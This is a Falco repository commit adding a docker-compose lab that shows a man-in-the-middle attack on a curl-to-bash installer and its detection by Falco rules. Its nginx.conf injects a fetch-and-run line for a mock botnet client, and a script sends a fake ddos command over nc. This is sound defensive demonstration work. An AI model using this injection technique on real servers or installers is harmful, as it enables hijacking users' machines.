mirror of
https://github.com/falcosecurity/falco.git
synced 2025-07-01 00:52:16 +00:00
Docker-compose environment for mitm example.
Adding docker-compose based example of man-in-the-middle attack against installation scripts and how it can be detected using sysdig falco. The docker-compose environment starts a good web server, compromised nginx installation, evil web server, and a copy of sysdig falco. The README walks through the process of compromising a client by using curl http://localhost/get-software.sh | bash and detecting the compromise using ./fbash. The fbash program included in this example fixes https://github.com/draios/falco/issues/46.
This commit is contained in:
parent
674e63eef0
commit
139ee56af7
78
examples/mitm-sh-installer/README.md
Normal file
78
examples/mitm-sh-installer/README.md
Normal file
@ -0,0 +1,78 @@
|
||||
#Demo of falco with man-in-the-middle attacks on installation scripts
|
||||
|
||||
For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
|
||||
|
||||
## Demo architecture
|
||||
|
||||
### Initial setup
|
||||
|
||||
Make sure no prior `botnet_client.py` processes are lying around.
|
||||
|
||||
### Start everything using docker-compose
|
||||
|
||||
From this directory, run the following:
|
||||
|
||||
```
|
||||
$ docker-compose -f demo.yml up
|
||||
```
|
||||
|
||||
This starts the following containers:
|
||||
* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
|
||||
* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
|
||||
* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
|
||||
* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
|
||||
* falco: will detect the activities of botnet_client.py.
|
||||
|
||||
### Download `install-software.sh`, see botnet client running
|
||||
|
||||
Run the following to fetch and execute the installation script,
|
||||
which also installs the botnet client:
|
||||
|
||||
```
|
||||
$ curl http://localhost/install-software.sh | bash
|
||||
```
|
||||
|
||||
You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
|
||||
|
||||
Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
|
||||
|
||||
```
|
||||
$ ps auxww | grep python
|
||||
...
|
||||
root 19983 0.1 0.4 33992 8832 pts/1 S 13:34 0:00 python ./botnet_client.py
|
||||
|
||||
$ telnet localhost 1234
|
||||
Trying ::1...
|
||||
Trying 127.0.0.1...
|
||||
Connected to localhost.
|
||||
Escape character is '^]'.
|
||||
```
|
||||
|
||||
You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
|
||||
|
||||
```
|
||||
attacker_botnet_master | Trying to contact compromised machine...
|
||||
attacker_botnet_master | Waiting for botnet command and control commands...
|
||||
attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
|
||||
attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
|
||||
```
|
||||
|
||||
At this point, kill the botnet_client.py process to clean things up.
|
||||
|
||||
### Run installation script again using `fbash`, note falco warnings.
|
||||
|
||||
If you run the installation script again:
|
||||
|
||||
```
|
||||
curl http://localhost/install-software.sh | ./fbash
|
||||
```
|
||||
|
||||
In the docker-compose output, you'll see the following falco warnings:
|
||||
|
||||
```
|
||||
falco | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
|
||||
falco | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
|
||||
falco | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
|
||||
falco | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
|
||||
falco | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
|
||||
```
|
7
examples/mitm-sh-installer/botnet_master.sh
Executable file
7
examples/mitm-sh-installer/botnet_master.sh
Executable file
@ -0,0 +1,7 @@
|
||||
#!/bin/sh
|
||||
|
||||
while true; do
|
||||
echo "Trying to contact compromised machine..."
|
||||
echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
|
||||
sleep 5
|
||||
done
|
51
examples/mitm-sh-installer/demo.yml
Normal file
51
examples/mitm-sh-installer/demo.yml
Normal file
@ -0,0 +1,51 @@
|
||||
# Owned by software vendor, serving install-software.sh.
|
||||
apache:
|
||||
container_name: apache
|
||||
image: httpd:2.4
|
||||
volumes:
|
||||
- ${PWD}/web_root:/usr/local/apache2/htdocs
|
||||
|
||||
# Owned by software vendor, compromised by attacker.
|
||||
nginx:
|
||||
container_name: mitm_nginx
|
||||
image: nginx:latest
|
||||
links:
|
||||
- apache
|
||||
ports:
|
||||
- "80:80"
|
||||
volumes:
|
||||
- ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
|
||||
# Owned by attacker.
|
||||
evil_apache:
|
||||
container_name: evil_apache
|
||||
image: httpd:2.4
|
||||
volumes:
|
||||
- ${PWD}/evil_web_root:/usr/local/apache2/htdocs
|
||||
ports:
|
||||
- "9090:80"
|
||||
|
||||
# Owned by attacker, constantly trying to contact client.
|
||||
attacker_botnet_master:
|
||||
container_name: attacker_botnet_master
|
||||
image: alpine:latest
|
||||
net: host
|
||||
volumes:
|
||||
- ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
|
||||
command:
|
||||
- /tmp/botnet_master.sh
|
||||
|
||||
# Owned by client, detects attack by attacker
|
||||
falco:
|
||||
container_name: falco
|
||||
image: sysdig/falco:latest
|
||||
privileged: true
|
||||
volumes:
|
||||
- /var/run/docker.sock:/host/var/run/docker.sock
|
||||
- /dev:/host/dev
|
||||
- /proc:/host/proc:ro
|
||||
- /boot:/host/boot:ro
|
||||
- /lib/modules:/host/lib/modules:ro
|
||||
- /usr:/host/usr:ro
|
||||
- ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
|
||||
tty: true
|
18
examples/mitm-sh-installer/evil_web_root/botnet_client.py
Normal file
18
examples/mitm-sh-installer/evil_web_root/botnet_client.py
Normal file
@ -0,0 +1,18 @@
|
||||
import socket;
|
||||
import signal;
|
||||
import os;
|
||||
|
||||
os.close(0);
|
||||
os.close(1);
|
||||
os.close(2);
|
||||
|
||||
signal.signal(signal.SIGINT,signal.SIG_IGN);
|
||||
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
serversocket.bind(('0.0.0.0', 1234))
|
||||
serversocket.listen(5);
|
||||
while 1:
|
||||
(clientsocket, address) = serversocket.accept();
|
||||
clientsocket.send('Waiting for botnet command and control commands...\n');
|
||||
command = clientsocket.recv(1024)
|
||||
clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
|
||||
clientsocket.close()
|
15
examples/mitm-sh-installer/fbash
Executable file
15
examples/mitm-sh-installer/fbash
Executable file
@ -0,0 +1,15 @@
|
||||
#!/bin/bash
|
||||
|
||||
SID=`ps --no-heading -o sess --pid $$`
|
||||
|
||||
if [ $SID -ne $$ ]; then
|
||||
# Not currently a session leader? Run a copy of ourself in a new
|
||||
# session, with copies of stdin/stdout/stderr.
|
||||
setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
|
||||
FBASH=$!
|
||||
trap "kill $FBASH; exit" SIGINT SIGTERM
|
||||
wait $FBASH
|
||||
else
|
||||
# Just evaluate the commands (from stdin)
|
||||
source /dev/stdin
|
||||
fi
|
12
examples/mitm-sh-installer/nginx.conf
Normal file
12
examples/mitm-sh-installer/nginx.conf
Normal file
@ -0,0 +1,12 @@
|
||||
http {
|
||||
server {
|
||||
location / {
|
||||
sub_filter_types '*';
|
||||
sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
|
||||
sub_filter_once off;
|
||||
proxy_pass http://apache:80;
|
||||
}
|
||||
}
|
||||
}
|
||||
events {
|
||||
}
|
156
examples/mitm-sh-installer/web_root/install-software.sh
Normal file
156
examples/mitm-sh-installer/web_root/install-software.sh
Normal file
@ -0,0 +1,156 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Copyright (C) 2013-2014 My Company inc.
|
||||
#
|
||||
# This file is part of my-software
|
||||
#
|
||||
# my-software is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License version 2 as
|
||||
# published by the Free Software Foundation.
|
||||
#
|
||||
# my-software is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with my-software. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
set -e
|
||||
|
||||
function install_rpm {
|
||||
if ! hash curl > /dev/null 2>&1; then
|
||||
echo "* Installing curl"
|
||||
yum -q -y install curl
|
||||
fi
|
||||
|
||||
echo "*** Installing my-software public key"
|
||||
# A rpm --import command would normally be here
|
||||
|
||||
echo "*** Installing my-software repository"
|
||||
# A curl path-to.repo <some url> would normally be here
|
||||
|
||||
echo "*** Installing my-software"
|
||||
# A yum -q -y install my-software command would normally be here
|
||||
|
||||
echo "*** my-software Installed!"
|
||||
}
|
||||
|
||||
function install_deb {
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
if ! hash curl > /dev/null 2>&1; then
|
||||
echo "* Installing curl"
|
||||
apt-get -qq -y install curl < /dev/null
|
||||
fi
|
||||
|
||||
echo "*** Installing my-software public key"
|
||||
# A curl <url> | apt-key add - command would normally be here
|
||||
|
||||
echo "*** Installing my-software repository"
|
||||
# A curl path-to.list <some url> would normally be here
|
||||
|
||||
echo "*** Installing my-software"
|
||||
# An apt-get -qq -y install my-software command would normally be here
|
||||
|
||||
echo "*** my-software Installed!"
|
||||
}
|
||||
|
||||
function unsupported {
|
||||
echo 'Unsupported operating system. Please consider writing to the mailing list at'
|
||||
echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
|
||||
echo 'installation.'
|
||||
exit 1
|
||||
}
|
||||
|
||||
if [ $(id -u) != 0 ]; then
|
||||
echo "Installer must be run as root (or with sudo)."
|
||||
# exit 1
|
||||
fi
|
||||
|
||||
echo "* Detecting operating system"
|
||||
|
||||
ARCH=$(uname -m)
|
||||
if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
|
||||
unsupported
|
||||
fi
|
||||
|
||||
if [ -f /etc/debian_version ]; then
|
||||
if [ -f /etc/lsb-release ]; then
|
||||
. /etc/lsb-release
|
||||
DISTRO=$DISTRIB_ID
|
||||
VERSION=${DISTRIB_RELEASE%%.*}
|
||||
else
|
||||
DISTRO="Debian"
|
||||
VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
|
||||
fi
|
||||
|
||||
case "$DISTRO" in
|
||||
|
||||
"Ubuntu")
|
||||
if [ $VERSION -ge 10 ]; then
|
||||
install_deb
|
||||
else
|
||||
unsupported
|
||||
fi
|
||||
;;
|
||||
|
||||
"LinuxMint")
|
||||
if [ $VERSION -ge 9 ]; then
|
||||
install_deb
|
||||
else
|
||||
unsupported
|
||||
fi
|
||||
;;
|
||||
|
||||
"Debian")
|
||||
if [ $VERSION -ge 6 ]; then
|
||||
install_deb
|
||||
elif [[ $VERSION == *sid* ]]; then
|
||||
install_deb
|
||||
else
|
||||
unsupported
|
||||
fi
|
||||
;;
|
||||
|
||||
*)
|
||||
unsupported
|
||||
;;
|
||||
|
||||
esac
|
||||
|
||||
elif [ -f /etc/system-release-cpe ]; then
|
||||
DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
|
||||
VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
|
||||
|
||||
case "$DISTRO" in
|
||||
|
||||
"oracle" | "centos" | "redhat")
|
||||
if [ $VERSION -ge 6 ]; then
|
||||
install_rpm
|
||||
else
|
||||
unsupported
|
||||
fi
|
||||
;;
|
||||
|
||||
"amazon")
|
||||
install_rpm
|
||||
;;
|
||||
|
||||
"fedoraproject")
|
||||
if [ $VERSION -ge 13 ]; then
|
||||
install_rpm
|
||||
else
|
||||
unsupported
|
||||
fi
|
||||
;;
|
||||
|
||||
*)
|
||||
unsupported
|
||||
;;
|
||||
|
||||
esac
|
||||
|
||||
else
|
||||
unsupported
|
||||
fi
|
@ -37,7 +37,7 @@
|
||||
|
||||
- macro: modify
|
||||
condition: rename or remove
|
||||
|
||||
|
||||
- macro: spawned_process
|
||||
condition: evt.type = execve and evt.dir=<
|
||||
|
||||
@ -320,7 +320,7 @@
|
||||
# (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
|
||||
- rule: create_files_below_dev
|
||||
desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
|
||||
condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
|
||||
condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr)
|
||||
output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
|
||||
priority: WARNING
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user